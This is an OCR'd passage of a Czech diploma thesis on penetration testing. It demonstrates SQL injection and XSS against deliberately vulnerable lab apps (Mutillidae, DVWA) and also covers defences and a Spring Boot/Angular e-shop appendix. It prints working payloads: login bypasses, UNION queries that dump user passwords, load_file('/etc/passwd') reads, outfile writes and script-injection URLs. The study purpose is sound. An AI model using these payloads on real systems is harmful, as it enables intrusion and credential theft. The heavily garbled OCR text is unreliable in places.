FSecurity 7 VPN By7Scerity @ 7ScouityYouTube B 7Securiy FR o sSccurity Taitter B FoitsLinkedr [ K2 Docs s Faplot-DR ] MSFL
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| coreconus |
T Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10
E=

Latest Varsion | Installation
e 1 « LatestVersion

+ nstallatian Instructians
+ Usage Instructions

« Get rid of thase pesky PHP errars.
+ Change Log
« Mates

Samural WTF and Backirack contains all the 10ols needed or you may build your own collection

Site
hacked...em...quallty-
tastad with Samural
WTF, Backtrack, = /
Firefax, Burp-Sults,
Netcat, and these backiirack

Mazilla Adid-ahs

Samurai Web Testing Framework

@wabpwnizad e

3

Developed by Adrian
“lrongeek” Crenshaw
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Obrazek 50: S QL Injections — metoda POST II, zdroj vlastni

Nyni bylo vyzkouseno cosi jiného. Do uzivatelské jména bylo vlozeno stale spravné
uzivatelské jméno a do hesla bylo vlozeno: 123' AND 1=2 #. To jakoZzto spravné
heslo, ale nepravdivy argument. PiihlaSeni nebylo tspésné, piestoze heslo bylo

(3 [} D& 10025 cawiindes

FSecurity 7 VPN Ry7Seerity @ 7Secriry

wlube [7Security PR o sSecurity Taitter @) 7aits Linkrdir [ €3l Docs s Fapinit-DR [j] MSFL

@4 Mutillidae: Born to be Hacked

Version: 2.1.19 __ Security Level: 0 (Hosed)  Hints: Disabled (0 - | try harder)  Wot Logged In

Unme  LoginKegister  [npgie JHnts  leqgle Security  Heset DU Wlewleg  ViewUaptured Daks

|
i Authentication Error: Bad user name or password

Please sign-in
© T

Login

Password
Site
hacked...e...quallty- Logh
tastad with Samural
WTF, Backtrack, Dont have an account? Please reqister here

Mozilla Add-ons.

‘@wabpwnizad

3

Developed by Adrian
“lrongeek” Crenshaw
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Obrdzek 51: SQL Injections — metoda POST III, zdroj vlastni
4.3.3 Obejiti loginu pomoci SQL Injections

Do uzivatelského jména bylo vloZeno admin. Do hesla bylo vloZzeno asd' OR 1=1 #.
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Prihlaseni bylo uspésné. Spojka AND byla nahrazena OR, aby SQL véta byla vzdy
pravdiva.

110

B
imutillidsefice: %+ eo0
« o @ Tin0 1002 5iFwtiicaeindes = wio® =
Wecurity 7 VPN Ry ?Secrity @ rScouityVTube [ TSecurity FE o sSccurity Taitter B Toids Linkedn [ Eol Docs & Fsploit-DE Jj] MEFL

%(( Mutillidae: Born to be Hacked

Version: 2.1.19 _ Sccurity Level: 0 {Hosed)  Hints: Disabled (0 - | try harder)  Logged In Admin: admin (Monkey!)

lome  Lagout  Fopgle lHnis  lopple Security  MeseR DS Viewlog  Vlew aptured Data

T Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10
E=

Latest Varsion | Installation

+ Latest Version
+ nstallatian Instructians
+ Usage Instructians

« Get rid of thase pesky PHP errars.
+ Change Log
« Mates

Site
hacked...erm...quality-
tastad with Samural
WTF, Backtrack, _}:
Flrefox, Burp-Sulte,
Metcat, and these backjtrack
Mozilla Add-ons.

Samural WTF and Backirack contains all the 10ols needed or you may build your own collection

@wabpwnizad e

3

Developed by Adrian
“lrongeek” Crenshaw
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Obrazek 52: SQL Injections — obejiti loginu I, zdroj vlastni

Dalsi metoda, jak obejit login je zadat do uzivatelského jména admin' # a heslo
viibec nezadavat.

el ¢ @ o 10025 amiindes, T =l ! - @ no®
Werurity 7 VPN Ry Secrity 8 rScoityVeTube [ TSecurity FRO o sSecurity Tadrter B Toids |ineedn [ #al Docs  Faploit-DR Jj] MEFU
Q?ﬁ Mutillidae: Born to be Hacked

Version: 2.1.19 __ Security Level: 0 (Hosed)  Hints: Disabled (0 - | try harder)  Wot Logged In
Lome: Login/Register Toggie Hnts “laggle Security Reset O Ylew Log View Captured Daka

Login

Pleasze sign-in

Name admwin’
Password

Lagn

Site
hacked,..em...quallty-
tested with Samural

WTF, Backtrack,
Firefox, Burp-Suite,
Metcat, and these

Mozilla Add-ons

s
@webpwnized
(a1
& |
Mutlliidas
Channal

Developed by Adrian
“Irongeek” Crenshaw

e s O R wom an

Obrazek 53: SQL Injections — obejiti loginu 11, zdroj vlastni
434 SQL Injections v metodé GET

Byl proveden ptfechod na stranku User Info. (OWASP Top 10 -> A1l Injection ->
SQLi Extract Data -> User Info) Tato stranka je velmi podobna login page, ale
slouzi k jiné funkeci.
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% Mutillidae: Born to be Hacked
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lome  Logut  Toggie Itk

Logged In User: dpuzivatel (User for diploma theses.|

ulnerable PHP Scripts Of OWASP Top 10

Samurai WTF and Backtrack contains all the tools needed or you may build your ovin collection

=
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backftrack

Samurai Web Testing Framework
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Channal

Developed by Adrian
VL2 Simutlidzsince s phgage e Intn shp

Obrdzek 54: SQL Injections — metoda GET I, zdroj vlastni
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@4 Mutillidae: Born to be Hacked

Version: 2.1.18 __ Security Level: O (Hosed)  Hints: Disabied (0 - | try harder)  Logged In User: dpuzivatel (User for diploma theses.)
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Site Wiew Account Details
hacked...em...quality-
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Developed by Adrian
“lrongeek” Crenshaw
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Obrdzek 55: SQL Injections — metoda GET II, zdroj vlastni

Po zadani uzivatelského jména a hesla, zobrazi informace o uzivateli.
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@% Mutillidae: Born to be Hacked

Version: 2118 Security Level: 0 (Hosed)  Hints: Disabled (0 - | try harder)  Logged In User: dpuzivatel (User for diploma theses.)
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Password=123
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Developed by Adrian
“lrongeek” Crenshaw

Obrazek 56: S QL Injections — metoda GET III, zdroj vliastni

PONSS EEYIEE o

Cast URL adresy:
index.php ?page=user-info.phpéusername=dpuzivatel&Spassword=123Euser-info-
php-submit-button=View+Account+Details

byla zaménéna za

index.php ?page=user-
info.php&username=dpuzivatel'+order+by+1+%236password=123Euser-info-php-
submit-button="View+Account+Details.
e zneuziti SQL injection v metodé GET, misto pfes formulafo

vé pole.
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Obrazek 57: SQL Injections — metoda GET 1V, zdroj vlastni

o e ] e o

K ovéreni, zda to vykonava prikazy v databazi, byla pouzita tato adresa
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index.php ?page=user-

info.php&username=dpuzivatel%27+order+by+12354+ %236password=123€user-
info-php-submit-button="View+Account+Details.

Bylo zadan piikaz vyzkouset sefazeni podle urc¢ité neexistujictho sloupce. Zobrazila
se o¢ekavané chyba, tim se potvrdilo vykonavéani piikazu v databazi.

s 8 -
¥ 10.0.2 Smutillidsefece. % + L)
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Mutillidae Did you setup/reset the DB?

Channel

Developed by Adrian
“lrongeek” Crenshaw -
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Obrdzek 58: SQL Injections — metoda GET V, zdroj vlastni
4.3.5 Cteni informaci o databazi pomoci SQL injection

Bylo zjistovéano, kolik sloupci je v tabulce. URL odkaz byl upraven na
index.php?page=user-
info.php&username=dpuzivatel'+-order+by+12+%23&password=123&user-info-
php-submit-button=View+ Account+Details (12 sloupcii).

Stale to bylo mnoho a opét se zobrazilo chybové hlaseni.
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Obrdzek 59: SQL Injections — zjistovant poctu sloupci, v tabulce I, zdroj viastni R
Poté byl URL odkaz upraven na

index.php?page=user-
info.php&username=dpuzivatel'-+order+by-+6+%23&password=123&user-info-
php-submit-button=View} Account-Details (6 sloupcii).

Protoze se opét objevil chybovy vystup, znamena to, ze v tabulce je méné nez 6

o

sloupctu
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Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled {0 - | try harder) Mot Logged In

Usme  Loginiegister  Uoggie Ifnts  Cleqgle Secarity  Hessk U Wlewleg  ViewUaptured Dk

[ View your details

1
m Please enter username and password
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) B e
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Channel
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e )R 2 =
Obrazek 60: SQL Injections — zjistovani poctu sloupcii v tabulce 11, zdroj vlastni

Nésledné byl URL odkaz upraven na

index.php?page=user-
info.php&username=dpuzivatel'+order+by-+5+%23&password=123&user-info-
php-submit-button=View+ Account-+Details (5 sloupcit).
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Ptikaz se vykonal bez chyby, coz znamend, ze tabulka méa alesponn 5 sloupci.
V predchozim kroku bylo zjisténo, ze v tabulce se nachazi se méné nez sloupci.
7 toho plyne, ze v tabulce je pravé 5 sloupcu.
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Obrazek 61: S QL Injections — zjistovdani poctu sloupci v tabulce 111, zdroj viastni

Pomoci zmény URL adresy byl proveden piikaz union 1,2,3,4,5:
index.php?page=user-
info.php&username=dpuzivatel'+union+select+1,2,3,4,5+%23&password=123&us
er-info-php-submit-button=View-+ Account-Details

T

zobrazena Cislice 2, 3 a 4 je mozné zobrazit jinou informaci.
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Obrazek 62: ¢tent informact o databdzi pomoci SQL injection I, zdroj vlastni

To bylo provedeno pomoci URL adresy:
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index.php?page=user-
info.php&username=dpuzivatel'+union+select+1,database(),user(),version(),5+%2
3&password=123&user-info-php-submit-button=View+Account-+Details

Misto ¢islice 2 byla zobrazena nazev databéze, misto Cislice 3 uzivatel a misto ¢islice
4 verze databaze.
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Obrdzek 63: cteni informact o databdzi pomoci SQL injection 11, zdroj vliastni

4.3.6 Extrahovani citlivych dat z databaze pomoci SQL injection

Pomoci URL odkazu

index.php?page=user-

info.php&username=dpuzivatel'+union-+select+1,table name,null,null,5+from+in
formation schema.tables+where+table schema='owasp10'+%23&password=123
&user-info-php-submit-button=View+ Account-+Details

bylo zjistény nazvy tabulek v databazi.
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m Please enter username and password
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s Password
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tested with Samurai Dot have an account? Blesse register here
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Username=dpuziael
Password=123
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— Signature=
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Obrazek 64: zjistend ndzvu tabulek v databdzi, zdroj vlastni

Byly zobrazeny sloupce v tabulce accounts pomoci URL odkazu:
index.php?page=user-

info.php&username=dpuzivatel'+union-+select+1,column name,null,null,5+4from-+
information _schema.columns+where-+table name="'accounts'+%23&password=12
3&user-info-php-submit-button=View+ Account+Details

Toto bylo nutné, nebot sloupce mohou mit jiné nazvy, nez jsou bézné.

Please enter username and password
to view account details

Name

Password

Site View Account Details
hacked...em...quality-

tastad with Samural
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id
Password=
= Signature=
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Signature=
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Obrdzek 65: sloupce v tabulce account, zdroj vlastni

Byla zobrazena vSechna uzivatelskd jména, hesla a informace, o tom, zda je uzivatel
admin pomoci URL odkazu:

index.php?page=user-
info.php&username=dpuzivatel'+union+select+1,username,password,is _admin,5-+
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from+accounts+%23&password=123&user-info-php-submit-
button=View+ Account+Details

5 [k
¥ 10.0.2 Smutillideefece. %+ L -]
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Firefox, Burp-Sulte, I
Natcat, and these
Mozllla Add-ons

Results for . 18 records found. |

Username=dpuzivatel
Password=123
C\ Signature=User for digloma theses.

Password=admInpass
Shghature=TALE

[ 1
& | Username=adrian
i Password=samrpassword
Mutillidae
Channel Signature=THLE

Usernamesjohn
Passwordemonkey
Signature=TAL5C

Developed by Adrian
“lrongeek” €renshaw
and Jeremy Druin

Username=jaramy
Password=password
Signature=FALSE

Usernama=aryre
Passward=password
Slgnature=FAL5E

Username=samurs,
Password=samirai
Signature =FALSE

Usernamesjim
Passwordepassword
Signature=fALSE

Usernarme=sobby
Password=gassword
Shgnature=FALSE

Username=:imba
Password=password
Shgnature=FaL5E

Username=dravell
Password=password
Signature=FALSE

Username=scatty
Password=password
Skgnature=FALSE

Username=ca
Password=password
Signature =Fal5F

Username=john
Password=password
Signature=TALSE

Usernarme=sayin
Password=12
Signature=FALSE

Username=dava
Password=sat
Signature=FALSE

Username=ar
Passward=gantest
Signature=Fil5E

Username=dpusivaic|
Password=123
Signature=-
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Obrdzek 66: vypis uZivateli, zdroj vlastni
4.3.7 Cteni a zapisovani do souboru pomoci SQL injection

Bylo provedeno ¢teni souboru /etc/passwd pomoci URL odkazu:
index.php?page=user-
info.php&username=dpuzivatel'+union-+select+null,load _file('/etc/passwd'),null,n
ull,null-+from+accounts+%23&password=123& user-info-php-submit-
button=View-+Account+Details

Obsah souboru se objevil v kolonce username.
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Obrdzek 67: SQL injection — c¢teni ze souboru, zdroj vlastni

Byl proveden pokus o zapis do souboru /var/www/mutillidae/example.txt pomoci
odkazu:

index.php?page=user-
info.phpé&username=dpuzivatel'+union+-select+null,'example

example' null,null,null+into+outfile+' /var /www /mutillidae /example.txt'+%23&pa
ssword=123&user-info-php-submit-button=View+ Account-Details

Zapls se nepovedl Do zadaného umisténi zapis neni povolen.
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e < -

View your details

Please enter username and password
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0 s
P Password
hacked...er...quality-

tested with Samural
WTF, Backtrack,
Firefox, Burp-Suite,

Dont have an account? Flegse register here

HNeteat, and these Error: Failure is always an option and this situation proves it
Mogzilla Add-ons T
Line i126
............ o
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Developed by Adrian
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Obrdzek 68: SQl injection — zdpis do souboru I, zdroj vlastni

Byl proveden pokus o zapis do souboru /var/tmp/example.txt pomoci odkazu:
index.php?page=user-

info.php&username=dpuzivatel' +union-select+null,'example

example' null,null,null+into+outfile+'/var /tmp /example.txt'+%23&password=123
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Obrdzek 69: SQl injection — zdpis do souboru II, zdroj vliastni

Bylo provedeno ovéreni zapsaného souboru pires piikazovy
Metasploitable.

sfadmin@metasploitable: /svar-tmp5 cd ~var- tmp
sfadmin@metasploitable: var/tnps ls

example . txt

sfadmin@netasploitable: var/tnp5 cat example.txt

17 dpuzivatel 123 User for diploma theses.
N examnple example “N “~N “~N
sfadmin@metasploitable: var tmpG _

Obrazek 70: Metasploitable — ovéfeni zapsaného souboru, zdroj vlastni
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4.4 Ochrana proti SQL injections

Nékteri administratori chrani své webové stranky pred SQL injections pomoci filtri.
Mizou pomoci, ale pokud se ttoénik snazi vice, méni Sifrovani znaki nebo pouziva
proxy, je schopen tyto filtry obejit.

Nékteri programétori pouzivaji deniedlist. Takto zabrani pouziti union, insert nebo
podobnych piikazi, ale neni to 100 % bezpecné. Pouziti allowedlistu mé stejné
problémy jako deniedlist.

Nejvhodnéjsi zptisob je napsat aplikaci, tak aby neumoziovala injektovat SQL kod
a nasledné ho spustit. Lze to udélat pres parametrizovani SQL véty, kde data a kod
jsou oddélené.

Filtry je mozné pouzit jako druhou fadu obranu. Dale je vhodné pouzit, co nejméné
prav pro uzivatele (jen ta nezbytna). Pro kazdou databazi je vhodné mit speciélniho
uzivatele se specifickymi pravy.

45 Demonstrace XSS zranitelnosti

Reflected XSS byla spusténa URL odkazem:
http://10.0.2.5/dvwa/vulnerabilities /xss _r/?name=%3Cscript%3Ealert(%22XSS%
22)%3C%2F script %3E#

Bude taktéz spusténa, kymkoliv, kdo na odkaz klikne.

r * ) Firef -
+ Camnbulnerablsweb s %+ eo0

(€l %X & D 1002 5wal iiestess_oh aler I X55 1P iptot v e @ no® =
7 secrity y75eeuriby rvrue [ yFE o sSecurity Taitter B 7oits Linkrdir [ €2l Docs & Fploit-DR [j] MSFL

Waitieg for 10.0.25..

Obrdzek 71: XSS - reflected XSS, zdroj vlastni

T T e

Nejprve byla vlozena zprava, ktera se ulozila na stranku a obsahovala script.
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Fizme: st
Pzzsige: Tz 15 a st commane.

More info

Usemame: azrri
Suzurily Lissl: i IR
BHAIDS: btz

B @S E @ E e o

Obrazek 72: XSS — stored XSS 1, zdroj vlastni

Zprava byla ulozena. Spustil se script. Tento script se spusti, kdykoli néktery
uzivatel vstoupi na stranku.

« DamnVulnerable Web . X+
(el K@ © 10.0.25 @ [ Wal

7 secrity y75eeLriby AL - o s5ccurity Twitter [ Faicts|inkedn [ K2 Docs s Faplot-DR ] MSFL

ialbing fr 10.0.7.5...

B @b d 5 o 0l oo
Obrdzek 73: XSS — stored XSS II, zdroj vlastni

4.6 Ochrana pred XSS

Nejlepsi zpiusob, jak se branit pred XSS je minimalizovat pouziva neduvéryhodnych
vstupti. Veskery vstup konvertovat do znaki reprezentujici HTML.
(https:/ /www.freeformatter.com /html-entities.html)
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5 Vysledky a diskuse

Zajisténi bezpecnosti pripojeni k bezdratové siti je na zodpovédnost uzivatele.
Zvysovéani bezpecnosti lze zajistit jen vzdélavanim uzivateli o bezpecnosti. Jedné se
predevsim o dostatecéné silné heslo a pouzivani protokolu WPA2. Nicméné protokol
WPA2 ma také néjaké bezpecnostni trhliny, nicméné je pfipravovan protokol
WPA3. V této praci nebyl popisovan, at uz z prostorovych diavodi, nebo také proto
protokol.

P1i prevenci Man in the Middle atokt jsou tkoly rozdéleny, jak mezi uzivatele, tak
spravce webu. Napiiklad pti pouziti pluginu HTTPS Everywhere, je na uzivateli
instalace a spusténi pluginu a na spravci serveru zajisténi pouziti protokolu HTTPS.
Detekce Man in the Middle ttoku je jen pro pokrocilé uzivatele, kdyz selze prevence.
P1i website hackingu je zodpovédnost predevsim na spravci webu. Webové stranky
musi byt napsany takovym zpisobem, nebo pfidélena jen takova préva, aby
uzivatelé svymi vstupy vytvareli jen takové akce, ke kterym je web urcen.

Tato préace se nezabyvala moznosti se dostat fyzicky k pocitaci, diskovému tlozisti
nebo k papiru s heslem na stole.

Déle se nezabyvala moznosti, které umoziuje pokrocily systém jako je BSD linux.
Tento systém umoziuje spravovat prava, se kterymi lze pristupovat jen k urcitym
oblastem. Prace se tudiz ani nezabyvala situaci, kdy jsou tato prava Spatné
konfigurovana.
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6 Zavér

V teoretické ¢éasti bylo definovano, co je obecné hacking. Taktéz se prace zabyvala
bezpec¢nosti.

V praci byly analyzovany nastroje, které byly pouzity pro zhotoveni praktické ¢ésti.
Jedna se tedy o emulatory virtualnich stroji. Z nékolik popsanych emulatori byl
vybran VirtualBox.

Dale byly analyzovany operac¢ni systémy, které byly instalovany na virtuélni stroje.
Demonstrace penetra¢niho testovani nebyla provadéna na realnych systémech, kviili
omezenim danym zakonem.

Byla potvrzena klicova role opera¢niho systému Kali linux v oboru hackingu a
penetra¢niho testovani.

Podstatna cast teoreticka casti byla vénovana metodam hackovani. Tato sekce byla
rozdélena do 4 kapitol.

V kapitole Network hacking bylo popsano, jak se uto¢nik dostaval do bud
nezabezpecené, nebo i c¢astecné zabezpeCené sité. Kapitola Gaining Access
predstavovala dalsi krok, kdyz jiz tto¢nik byl v siti a ziskaval pristup k systému,
ktery byl jeho cilem. A kapitola Post Exploitation obsahovala, co uto¢nik napéchal,
kdyz uz tspésné zvladnul dva kroky popsané v predchozich kapitoléch.

Posledni z téchto 4 kapitol Website hacking predstavovala nejdiilezitéjsi metody,
kterymi Sel napadnou e-shop, nebo jakoukoli webovou stranku. Cil a postup byl
podobny jako v druhé a tfeti kapitole. Hlavni podskupiny téchto ttoka byly SQL
Injections a XSS (Cross Site Scripting).

V praktické casti byla navrzena obrana proti ttokim popsanych v kapitolach
Network Hacking, Gaining Access a Post Exploitation, véetné prevence, tak detekce
Man in the Middle utokd.

Utoky popsané v kapitolach Website Hacking byly demonstroviny a detailné
popsany. Jednalo se o file upload zranitelnosti, code execution zranitelnosti a file
inclusion zranitelnosti. P¥i demonstraci SQL Injection byla nejprve fadné
prozkoumaéana databaze. Poté byla demonstrovana SQL Injection v metodé POST,
nasledné SQL Injection v metodé GET. Byly ¢teny informace z databéze pomoci
SQL Injection, nasledné i zapisovany zasluhou této zranitelnosti.

Byla demonstrovana Stored a Reflected XSS. Po demonstracich byly navrzeny
obrany.
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8 Prilohy

8.1 Tvorba jednoduchého e-shop

Jednoduchou aplikace elektronického obchodu bude vytvofena pomoci Spring Boot.
Klientské aplikace bude vyuzivat Angular. (baeldung, 2020)

8.1.1 Back end

K vyvoji API bude pouzita nejnovéjsi verzi Spring Boot. Rovnéz také bude tfeba
databaze JPA a H2 pro perzisten¢ni stranku véci. (baeldung, 2020)

8.1.1.1 Maven zavislosti
Maven zavislosti je tfeba zapsat do pom.xml v projektu. (baeldung, 2020)

Budou tteba zakladni zavislosti Spring Boot: (baeldung, 2020)

<dependency>
<groupld>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-jpa</artifactId>
<version>2.2.2.RELEASE</version>

</dependency>

<dependency>
<groupld>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.2.2.RELEASE</version>

</dependency>

Poté bude tfeba H2 databaze: (baeldung, 2020)

<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.197</version>
<scope>runtime</scope>
</dependency>

A nakonec Jackson knihovnu: (baeldung, 2020)

<dependency>
<groupId>com. fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-jsr310</artifactId>
<version>2.9.6</version>

</dependency>

Byl pouzit Spring Initializr (Spring, 2020) rychle nastavit zavislosti projektu.
(baeldung, 2020)
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8.1.1.2 Nastaveni databaze

Ptestoze by bylo mozné databazi H2 se Spring Boot pouzit, jak je, jesté pred zahdjenim
vyvoje API budou provedeny né&jaké tupravy. (baeldung, 2020)

V souboru application.properties bude povolena konzole H2, aby bylo mozné skute¢né
zkontrolovat stav databaze a zjistit, zda vSe jde tak, jak bylo ocekévano. (baeldung,
2020)

Také by mohlo byt uzite¢né protokolovat dotazy SQL do konzoly pii vyvoji: (baeldung,
2020)

spring.datasource.name=ecommercedb
spring.jpa.show-sgl=true

#H2 settings
spring.h2.console.enabled=true
spring.h2.console.path=/h2-console

Po pfidani téchto nastaveni bude pfistup do databéze na http://localhost:8080/h2-
console pomoci jdbc:h2:mem:ecommercedb jako JDBC URL a uzivatel sa bez hesla.
(baeldung, 2020)

8.1.1.3 Struktura projektu

Projekt bude usporddan do nékolika standardnich balickia, s aplikaci Angular
umisténou ve front endové slozce: (baeldung, 2020)

pom . xml
src
main
frontend
Jjava
L—com
L———baeldung
ecommerce
EcommerceApplication.java
controller
——dto
exception
model
repository
service
resources
application.properties
static
templates
test
L—java
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L——com
L—paeldung

L—ecommerce
EcommerceApplicationIntegrationTest.java

Tato struktura rozsifuje Spring Data CrudRepository. (baeldung, 2020)
8.1.1.4 Zpracovani vyjimek
Je t¥eba mit t¥idu, ktera mé na starosti vyjimky: (baeldung, 2020)

@RestControllerAdvice
public class ApiExceptionHandler {

@SuppressWarnings ("rawtypes")
@ExceptionHandler (ConstraintViolationException.class)
public ResponseEntity<ErrorResponse>

handle (ConstraintViolationException e) {

ErrorResponse errors = new ErrorResponse();
for (ConstraintViolation violation : e.getConstraintViolations()) {
ErrorItem error = new ErrorItem();

error.setCode (violation.getMessageTemplate()) ;

error.setMessage (violation.getMessage ()) ;
errors.addError (error) ;

}
return new ResponseEntity<>(errors, HttpStatus.BAD REQUEST) ;

@SuppressWarnings ("rawtypes")

@ExceptionHandler (ResourceNotFoundException.class)

public ResponseEntity<ErrorItem> handle (ResourceNotFoundException e) {
ErrorItem error = new ErrorItem();
error.setMessage (e.getMessage ()) ;

return new ResponseEntity<>(error, HttpStatus.NOT FOUND) ;

8.1.1.5 Produkty

Tato aplikace bude umét pouze ¢ist produkty z databaze, tak nejprve musime néjaky
pridat.
Bude vytvorena tiida pro produkt: (baeldung, 2020)

@Entity
public class Product {

@Id
@GeneratedValue (strategy = GenerationType.IDENTITY)

private Long id;
@NotNull (message = "Product name is required.")

@Basic (optional = false)
private String name;
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private Double price;
private String pictureUrl;

// all arguments contructor
// standard getters and setters

Prestoze uzivatel nebude mit moznost pfidavat produkty prostrednictvim aplikace, je
podporovano ulozeni produktu do databéze, aby bylo mozné seznam produktt predem

pripravit. (baeldung, 2020)
Pro potteby aplikace postaci jednoduchéa sluzba: (baeldung, 2020)

@Service
@Transactional
public class ProductServiceImpl implements ProductService ({

// productRepository constructor injection

@Override
public Iterable<Product> getAllProducts () {
return productRepository.findAll();

}

@Override
public Product getProduct (long id) {
return productRepository
.findById (id)
.orElseThrow (() -> new ResourceNotFoundException ("Product not
found™)) ;
}

@Override
public Product save (Product product) {
return productRepository.save (product);
}
}

Jednoduchy ovladac¢ bude zpracovavat pozadavky na nacteni seznamu produktl:

(baeldung, 2020)

@RestController
@RequestMapping ("/api/products™)
public class ProductController ({

// productService constructor injection
@GetMapping (value = { "", "/" })

public @NotNull Iterable<Product> getProducts() {
return productService.getAllProducts() ;

}
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Vse, co je nyni potieba, aby byl vystaven seznam produkti uzivateli - je vlastné vlozit
nékteré produkty do databaze. Proto bude pouzita tfida CommandLineRunner k
pripravé Bean v hlavni t¥idé aplikace. (baeldung, 2020)

Timto zptusobem budou vlozeny produkty do databéze béhem spousténi aplikace:
(baeldung, 2020)

@Bean
CommandLineRunner runner (ProductService productService) |
return args -> {
productService.save (...);
// more products

Pokud aplikace bude spusténa, bude =ziskdn seznam produktii prostfednictvim
http://localhost:8080/api/products. Po prihlaseni na hitp://localhost:8080/h2-console
bude zobrazena tabulka s nazvem PRODUCT s produkty, které byly pfedtim pridany.
(baeldung, 2020)

8.1.1.6 Objednavky

Na strané API je nutné povolit pozadavky POST k ulozeni objednéavek, které koncovy
uzivatel provede. (baeldung, 2020)

Nejprve bude vytvoren model: (baeldung, 2020)

@Entity
@Table (name = "orders")
public class Order {

@Id
@GeneratedValue (strategy = GenerationType.IDENTITY)

private Long id;

@JsonFormat (pattern = "dd/MM/yyyy")
private LocalDate dateCreated;

private String status;

@JsonManagedReference

@OneToMany (mappedBy = "pk.order")

@valid

private List<OrderProduct> orderProducts = new ArrayList<>();
@Transient

public Double getTotalOrderPrice () {
double sum = 0D;
List<OrderProduct> orderProducts = getOrderProducts();
for (OrderProduct op : orderProducts) {
sum += op.getTotalPrice();
}

return sum;
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@Transient
public int getNumberOfProducts () {
return this.orderProducts.size();

}

// standard getters and setters

Zde je tfeba pozornost na nékolik véci. Urcité jednou z nejpozoruhodnéjsich véci je
zména vychoziho nazvu tabulky. Protoze tfida byla pojmenovéna Order, pfi ponechéni
vychoziho nastaveni se vytvoii tabulka ORDER. Ale protoze se jedna o vyhrazené
slovo SQL, bylo pfidano @Table (name = “orders”), aby byly eliminovany konflikty.
(baeldung, 2020)

Dale dvé metody @Transient, které vrati celkovou ¢astku pro tuto objednavku a pocet
produktiit v ni. Oba predstavuji vypoctena data, takZze je neni tfeba ukladat do
databéze. (baeldung, 2020)

Nakonec vztah @OneToMany predstavujici podrobnosti objednédvky. K tomu je tfeba
dalsi t¥ida entit: (baeldung, 2020)

@Entity
public class OrderProduct {

@EmbeddedId
@JsonIgnore
private OrderProductPK pk;

@Column (nullable = false)
private Integer quantity;

// default constructor

public OrderProduct (Order order, Product product, Integer quantity) {
pk = new OrderProductPK();
pk.setOrder (order) ;
pk.setProduct (product) ;
this.quantity = quantity;
}

@Transient

public Product getProduct () {
return this.pk.getProduct () ;

}

@Transient
public Double getTotalPrice () {

return getProduct () .getPrice() * getQuantity();
}

// standard getters and setters

// hashcode () and equals () methods
}
Zde je slozeny primérni kli¢: (baeldung, 2020)
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@Embeddable
public class OrderProductPK implements Serializable {

@JsonBackReference

@ManyToOne (optional = false, fetch = FetchType.LAZY)
@JoinColumn (name = "order id")

private Order order;

@ManyToOne (optional = false, fetch = FetchType.LAZY)
@JoinColumn (name = "product id")
private Product product;

// standard getters and setters

// hashcode () and equals () methods

Tyto tfidy nejsou nic prili§ komplikovaného, ale je tfeba si uvédomit, Ze ve tiidé
OrderProduct je u primarniho klice umistén @Jsonlgnore. To proto, Ze neni tieba
serializovat u objednavek primarni kli¢, protoze by byl nadbyte¢ny. (baeldung, 2020)

Je tieba, aby byl produkt zobrazen uzivateli, proto pfechodna metoda getProduct().
(baeldung, 2020)

Dale je tifeba jednoduché implementace sluzby: (baeldung, 2020)

@Service
@Transactional
public class OrderServiceImpl implements OrderService {

// orderRepository constructor injection

@Override
public Iterable<Order> getAllOrders () {
return this.orderRepository.findAll ()

}

@Override

public Order create (Order order) {
order.setDateCreated (LocalbDate.now());
return this.orderRepository.save (order);

}

@Override
public void update (Order order) ({
this.orderRepository.save (order) ;

}

A tadi¢ mapovan do /api/objedndvek, aby zpracoval poZzadavky na objednavku.
(baeldung, 2020)

Nejdiilezitéjsi je metoda create ():

@PostMapping
public ResponseEntity<Order> create (@RequestBody OrderForm form) {
List<OrderProductDto> formDtos = form.getProductOrders () ;
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validateProductsExistence (formDtos) ;
// create order logic
// populate order with products

order.setOrderProducts (orderProducts) ;
this.orderService.update (order) ;

String uri = ServletUriComponentsBuilder
.fromCurrentServletMapping ()
.path ("/orders/{id}")
.buildAndExpand (order.getId())
.toString () ;
HttpHeaders headers = new HttpHeaders():;
headers.add ("Location", uri);

return new ResponseEntity<>(order, headers, HttpStatus.CREATED) ;

Nejprve je prijiman seznam produkti s odpovidajicimi mnozstvimi. Poté bude
zkontrolovano, zda vSechny produkty existuji v databézi, a poté bude vytvoren a
uloZena nova objednavka. Je veden odkaz na nové vytvoreny objekt, aby k nému mohly
byt pridany podrobnosti objednavky. (baeldung, 2020)

Nakonec bude vytvoteno zahlavi ,Location®. (baeldung, 2020)
8.1.2 Front end

Nyni, kdyz je vytvorena aplikace Spring Boot, je ¢as pfesunout se k Angularu. Je tfeba
nejprve nainstalovat Node.js s NPM (nodelJS, 2020) a poté Angular CLI (Angular,
2020), rozhrani piikazového fadku pro Angular. (baeldung, 2020)

8.1.2.1 Nastaveni projektu Angular

Aplikace Angular bude ponechana uvnit¥ slozky /src/main/frontend. (bacldung, 2020)

K jeho vytvoreni bude otevien terminal v hlavni slozce /src/ a spustén: (baeldung,
2020)

ng new frontend

Tim budou vytvofeny vSechny soubory a slozky, které jsou potieba pro aplikaci
Angular. V souboru pakage.json je mozné zkontrolovat, které verze zavislosti jsou
nainstalovany. Tento tutoriél je zaloZen na Angular v6.0.3, ale starsi verze by mély byt
s ulohou kompatibilni, alesponn od verze 4.3 a novéjsi (HttpClient, ktery je zde
vyuzivan, byl uveden v Angular 4.3). (baeldung, 2020)

Vsechny piikazy jsou spoustény ze slozky /frontend, pokud neni uvedeno jinak.
(baeldung, 2020)
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Toto nastaveni sta¢i ke spusténi aplikace Angular spuSténim prikazu ng serve. Ve
vychozim nastaveni bézi na http://localhost:4200 a pii vstupu do slozky se zobrazi
nactena zakladni aplikace Angular. (baeldung, 2020)

8.1.2.2 Pridani Bootstrapu

Pred vytvarenim vlastnich komponent, je vhodné pridat do projektu Bootstrap,
abychom webové stranky vypadaly hezky. (baeldung, 2020)

K dosazeni tohoto cile staci jen par véci. Nejprve je tfeba spustit piikaz k jeho instalaci:
(baeldung, 2020)

npm install --save bootstrap

a pak fici Angularu, aby to skute¢né pouzil. Z tohoto divodu je tfeba do souboru
src/main/frontend/angular.json a pridat vlatnost
